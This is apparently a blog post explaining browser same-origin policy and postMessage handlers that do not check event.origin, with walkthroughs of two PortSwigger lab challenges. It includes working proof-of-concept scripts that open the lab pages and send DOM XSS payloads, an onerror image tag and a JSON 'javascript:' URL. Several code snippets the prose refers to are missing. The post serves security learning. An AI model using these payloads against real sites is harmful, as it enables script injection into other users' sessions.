PostMessage vuln, what is it?

Nowadays JavaScript becomes very popular and application can write with only JavaScript. I want to share about exploiting websocket vulnerability and how to find them that I learned last 4 years ago during preparing to pass eWPT.

In order to understand about exploiting websocket vulnerability we need to know how browsers interact with pages and how they implement for security between pages like SOP, CORS. Now what is SOP?.

SOP(Same-origin policy) is a security mechanism that restrict a document or a script loaded from one origin can interact with a resource from another origin. For example, site A have script A and site B has script B. If site A want to call site B script, it will be blocked due to SOP. There are numerous ways to bypass SOP in order share resource A to resource B. These are using JSONP, implementing CORS or using postMessage event handler. In this topic, I will only explain about exploiting postMessage.

postMessage, what is it?

Suppose that sub.example.com want to use some resource like customer name, customer email in example.com. In general, he need to change backend code to get the resource. This will be daunting task in enterprise. But the same feature can implement with JavaScript. That’s why postMessage comes into play.

In order to receive postMessage, event listener need to implement in receiver side. Let’s see some example. A developer implement below code in their website for some purpose.

Above code snippet means that “Hey I used “message” event listener in my website, you are free to send any message if your originated server is example.org:8080. Everything will be rejected if originated server is not example.org:8080.

Now, let’s see some example from sender side.

The syntax for postMessage that described in Mozilla is

targetWindows can be a reference such as window.open, window.opener, iframe.

message can be anything that you want to send and

targetOrigin can be targeted origin, this can also be a wildcard (*).

In order to send a message to the listener the following snippet can be used.

Above tells browser to, “Hey open example.com in new window and send “Message” with postMessage. Above tells how postMessage work.

Security Consideration

Earlier told about developer side of usage of postMessage. Here comes the fun part.

When a developer forgot to whitelist domain with event.origin something like below snippet, what will actually happen?.

This tells everyone can send message via postMessage. What bug do you see in above snippet?

What if sender send malicious message to receiver side something like

In order to prevent that kind of vulnerability, you need to add whitelisted domain with event.origin or standardized incoming message.

There is still no example exploitation right?. So, I will show some example with portswigger lab.

You can also register and solve the challenges in here.

How to find bugs?

You can list all postMessage event listener via chrome developer tool.

In “DOM XSS using web messages” challenge from portswigger. “message” event handler is listened and there is no origin restriction as shown in below.

This tells the website received every message from every origin and put message to ads html id. We can exploit this with.

<script>
var popup = window.open("https://acc31fe21ef7b389809e586b0049007d.web-security-academy.net/");

setInterval(function(){
    popup.postMessage("<img src=x onerror=alert(1)>", "*"); 
},2000);
</script>

Save above code snippet in your web server and browse the file and XSS will popup.

I think only one example is not enough and so I decided to write “DOM XSS using web messages and JSON.parse” challenge.

The challenge has message listener as shown in below, this time more complicated.

As shown in above code snippet, when website receive a message, it parse our message with JSON.parse, then it compare json data with switch statement. When our message contain “load-channel” type, it will at “url” type to ACMEplayer’s src. So below snippet code can exploit the challenge.

<script>
var popup = window.open("https://acf61fb81f186bb48021015600500007.web-security-academy.net/");
payload = "%7B%22type%22:%22load-channel%22,%20%22url%22:%20%22javascript:alert(1)%22%7D";
setInterval(function(){
    popup.postMessage(decodeURI(payload), "*"); 
},2000);
</script>

References

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

https://portswigger.net/web-security/all-labs

https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s